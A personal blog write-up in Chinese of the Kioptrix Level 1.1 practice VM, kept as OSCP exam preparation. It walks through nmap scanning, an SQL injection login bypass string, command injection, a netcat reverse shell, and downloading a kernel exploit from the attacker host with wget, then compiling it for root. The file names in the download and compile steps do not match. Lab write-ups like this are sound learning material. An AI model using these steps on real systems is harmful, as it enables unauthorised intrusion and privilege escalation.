十三の博客
0%

–KIOPTRIX: LEVEL 1.1 (#2)

发表于 分类于

KIOPTRIX: LEVEL 1.1 (#2)

现在的我是刷靶场狂魔，同时也继续在了解oscp相关的介绍，争取寒假的时候就给考完把。

信息收集

首先还是通过nmap扫c段拿到自己靶机的位置（记得改nat

1
nmap 192.168.100.0/24 -n -sP -sn

image-20221101150334027

对其进行详细扫描

1
nmap -A 192.168.100.151

扫完之后发现开启了，22,80,111,443,631,3306端口

image-20221101150554922

漏洞利用-80端口

扫完之后，访问这个网站，是一个登录页面

直接万能密码

1
admin' or 1=1 #

就直接进去了

image-20221101151226173

这个看样子是个ping的功能，我估摸着就以前ctf那种绕过呗。

image-20221101151328801

image-20221101151334154

这直接就是一个rce

image-20221101151355200

但是是apache的权限，目前需要进行一个提权，说实话，我对提权部分都不是很了解，所以在备考的时候，肯定会补上常见提权这个大坑。

先弹一个nc回来。

image-20221101151711771

通过这个东西

cat /proc/version(这个找不到，导致后面搜错了)

lsb_release -a这个找到的

image-20221101153429032

searchsploit centos 4.5

我用kali上的没成功，下载一下这个网址上面的

https://www.exploit-db.com/

image-20221101154418307

下载下面那个

随后起一个http服务将exp传到那边去

1
2
3
4
5
6
7
8
python -m SimpleHTTPServer 2333
python.exe -m SimpleHTTPServer 2333
python -m http.server 2333

反弹shell中执行
mkdir /tmp/sh(如果是提权的话，目前用户需要先创建一个可以创建新文件的文件夹进行操作)
cd /tmp/sh
wget http://192.168.100.129:2333/9542.c

image-20221101155212618

传过去之后编译执行即可

1
2
gcc -o okk 764.c -lcrypto
./okk

image-20221101155457890

又是成功拿下这台靶机，感觉比上一个还简单。而且还是几乎脱离攻略做的

总结

同样是，找ip，扫端口，看漏洞，利用，提权。